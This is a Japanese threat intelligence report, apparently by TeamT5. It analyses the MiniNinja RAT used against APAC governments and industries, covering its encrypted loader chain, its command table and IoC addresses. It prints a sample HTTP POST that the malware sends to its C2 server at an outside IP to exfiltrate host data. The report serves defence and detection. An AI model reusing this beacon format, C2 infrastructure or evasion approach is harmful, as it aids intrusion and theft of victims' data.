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APACの様々な国で見られる「MiniNinja」攻撃

2021.10.22Cyber Threat Intelligence
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TeamT5 は、複数の中国のAPTキャンペーンで使用されている新たなリモート管理ツール(RAT)を発見し、MiniNinjaと名付けました。TeamT5では、台湾、ロシア、キルギスタン、ウズベキスタン、ベトナム、フィリピン、パキスタンなどのさまざまなAPAC地域の国々がこのマルウェアの標的となり、攻撃を受けていることを確認しています。この影響を受けた業界には、政府、エネルギー、IT、電気通信、エンジニアリングなどが含まれています。MiniNinjaは複雑なマルウェアで、複数の高度なテクニックを用いて検出や分析を回避します。また、標的とする範囲が広いことも注目すべき点です。本レポートでは、私たちが行った分析で得られた技術的な詳細について紹介します。
MiniNinjaは、2021年3月上旬に台湾の政府機関に対する標的型攻撃で初めて出回っているのが発見されました。この脅威アクターは、ProxyLogonの脆弱性(CVE-2021-26855)を利用してメールサーバを侵害し、さらに被害者のネットワーク環境にCobaltStrike BeaconとMiniNinja RATを埋め込んでいました。この情報は、 ProxyLogonの脆弱性を利用した「Websiic キャンペーン」に関するESETのレポート[1]でも公開されています。TeamT5は、この新たなマルウェアの存在に気づき、その活動の追跡を開始しました。それ以来、TeamT5は、ベトナム[2]、パキスタン、フィリピンでその足跡を確認しており、おそらくProxyLogonの脆弱性を介して被害者のホストにも埋め込まれている可能性があります。最新見られた活動は、2021年9月にロシアとウズベキスタンに対して行われたスピアフィッシングメール攻撃でした。TeamT5は、これらの攻撃の属性をまだ特定できていません。しかしながら、そのTTPやC2インフラから、中国のAPTが使用する新たなツールであると確信しています。
アンチウイルスの検出を回避するために、MiniNinjaはバイナリペイロードファイルのバイナリBLOBとして暗号化されています。ネイティブPEまたは.Netに1つまたは複数のローダーコンポーネントを持っている可能性がありますが、基本的にはローダーは類似したタスクを実行します。ローダーコンポーネントは、反射型DLLインジェクション技術を介してメモリ内で解読および実行されます。ローダーは、まずペイロードファイルの先頭4バイトをチェックし、ヘッダチェックがパスした場合には3DES(112ビット)アルゴリズムを使用してコンテンツを復号化します。
2110-1.png

ローダーコンポーネントが複数ある場合は、さらに処理するために復号化されたバッファが第2ステージのローダーに渡される可能性があります。その後、ローダーはカスタムデコード方式とLZSS解凍アルゴリズムを使用してコンテンツを解読します。解読されたペイロードは、PEヘッダーが消去されたPEファイルで、単純なMiniNinja RATです。最後に、ローダーは自身が有するエクスポート関数「Debug」を見つけて、そこから実行を開始します。
2110-2.png

台湾の被害者から収集したペイロードの中に、開発者が残したPDB文字列(メモリ内のみ)が残っていたため、私たちはこのマルウェアをMiniNinjaと名付けました。
2110-3.png

解読されたマルウェアの構成ブロックには、Mutex文字列、C2 URL、HTTPヘッダー情報、スリープ時間などが含まれていました。
2110-4.png

実行すると、以下の情報を被害者のホストから収集します。
  • システム情報
  • OSバージョン
  • ホスト名
  • IPアドレス
  • プロセス名
  • プロセスID
上記のデータは、XORエンコードとカスタムbase64エンコードでエンコードされます。最後に、エンコードされた結果がPOST経由でMiniNinjaのC2に送信されます。
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
MiniNinjaは、ファイル、プロセス、メモリ、シェルまたはアカウント操作のコマンドをサポートする、フル機能のRATです。次のコマンド表は、サポートされる機能を示しています。

コマンド表

サポートされるコマンド:
コマンド説明
0x4E20Heart beat
0x4E21Init dwProcessId
0x4E22Change sleep time
0x4E23Exit(ExitProcess)
0x4E24CreateProcess
0x4E25TerminateThread
0x4E26set close_socket to 0
0x4E2AShellCommand
0x4E2BGet Command Result(call WriteFile,PeekNamedPipe,ReadFile)
0x4E2CTerminateProcess
0x4E2DIterateProcess then TerminateProcess
0x4E34 ~ 0x4E47File Operations
0x4E34List Disk Driver
0x4E35ListDirectory
0x4E36CreateDirectory
0x4E37DeleteFile
0x4E38RemoveDirectory
0x4E39MoveFile
0x4E3ACreateFile
0x4E3EReadFile
0x4E3FWriteFile
0x4E48 - 0x4E51Socket Operations
0x4E48Connet Host
0x4E49Check socket status
0x4E4ASend Data to Host
0x4E4BRecv Data from Host
0x4E4CClose socket
0x4E4DConnect Host
Preserved?(0x4E4E-0x4E51)Null
0x4E5C ~ 0x4E65Memory Operations
0x4E5Cstring copy
0x4E5Dstring copy
0x4E5Estring copy
*0x4E5F,0x4E60Execute Plugin? (CreateProcess, process Injection and createthread)
*0x4E61,0x4E62FileMapping(Write data)
Preserved?(0x4E63,0x4E64)Null
*0x4E65Close File Handler
0x5208List c2 configuration
0x4E52List Process
0x4E53IterateProcess,kill process
0x4E54Process Injection
0x4E55CreateThread for running DLL export function
0x4E56Read FileMap data(OpenFileMappingA -> robject_,custom_base64)
0x4E57Exit Dll function?(robject_, UnmapViewOfFile)
0x4E58LookupAccountSid

IoC

  • 149.28.28.159
  • 167.99.168.251
  • 185.220.101.204
  • 162.247.72.199
  • 194.156.98.191
  • 202.182.100.134
  • 109.70.100.55
  • 185.220.101.18
  • 193.36.119.144 (台湾の侵害されたホスト)

参考文献


*画像のソース: Pixabay
2021.10.22Cyber Threat Intelligence
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